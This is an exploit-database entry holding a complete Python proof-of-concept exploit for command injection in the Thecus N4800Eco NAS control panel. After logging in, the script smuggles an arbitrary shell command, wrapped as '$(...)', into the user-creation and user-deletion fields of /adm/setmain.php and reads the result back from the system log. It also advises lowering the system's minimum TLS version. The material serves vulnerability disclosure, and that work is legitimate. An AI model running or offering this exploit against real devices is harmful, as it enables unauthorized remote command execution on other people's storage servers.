Thecus N4800Eco Command Injection

2021.06.02
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

# Exploit Title: Thecus N4800Eco Nas Server Control Panel - Comand Injection # Date: 01/06/2021 # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: http://www.thecus.com/ # Software Link: http://www.thecus.com/product.php?PROD_ID=83 # Version: N4800Eco # Description: https://docs.unsafe-inline.com/0day/thecus-n4800eco-nas-server-control-panel-comand-injection #!/usr/bin/python3 import requests import sys import urllib3 # To fix SSL error that occurs when the script is started. # 1- Open /etc/ssl/openssl.cnf file # At the bottom of the file: # [system_default_sect] # MinProtocol = TLSv1.2 # CipherString = DEFAULT@SECLEVEL=2 # 2- Set value of MinProtocol as TLSv1.0 def readResult(s, target): d = { "fun": "setlog", "action": "query", "params": '[{"start":0,"limit":1,"catagory":"sys","level":"all"}]' } url = "http://" + target + "/adm/setmain.php" resultReq = s.post(url, data=d, verify=False) dict = resultReq.text.split() print("[+] Reading system log...\n") print(dict[5:8]) #change this range to read whole output of the command def delUser(s, target, command): d = { "action": "delete", "username": "$("+command+")" } url = "http://" + target + "/adm/setmain.php?fun=setlocaluser" delUserReq = s.post(url, data=d, allow_redirects=False, verify=False) if 'Local User remove succeeds' in delUserReq.text: print('[+] %s command was executed successfully' % command) else: print('[-] %s command was not executed!' %command) sys.exit(1) readResult(s, target) def addUser(s, target, command): d = {'batch_content': '%24('+command+')%2C22222%2C9999'} url = "http://" + target + "/adm/setmain.php?fun=setbatch" addUserReq = s.post(url, data=d, allow_redirects=False, verify=False) if 'Users and groups were created successfully.' in addUserReq.text: print('[+] Users and groups were created successfully') else: print('[-] Users and groups were not created') sys.exit(1) delUser(s, target, command) def login(target, username, password, command=None): urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) s = requests.Session() d = { "&eplang": "english", "p_pass": password, "p_user": username, "username": username, "pwd": password, "action": "login", "option": "com_extplorer" } url = "http://" + target + "/adm/login.php" loginReq = s.post(url, data=d, allow_redirects=False, verify=False) if '"success":true' in loginReq.text: print('[+] Authentication successful') elif '"success":false' in loginReq.text: print('[-] Authentication failed!') sys.exit(1) else: print('[-] Something went wrong!') sys.exit(1) addUser(s, target, command) def main(args): if len(args) != 5: print("usage: %s targetIp:port username password command" % (args[0])) print("Example 192.168.1.13:80 admin admin id") sys.exit(1) login(target=args[1], username=args[2], password=args[3], command=args[4]) if __name__ == "__main__": main(args=sys.argv)


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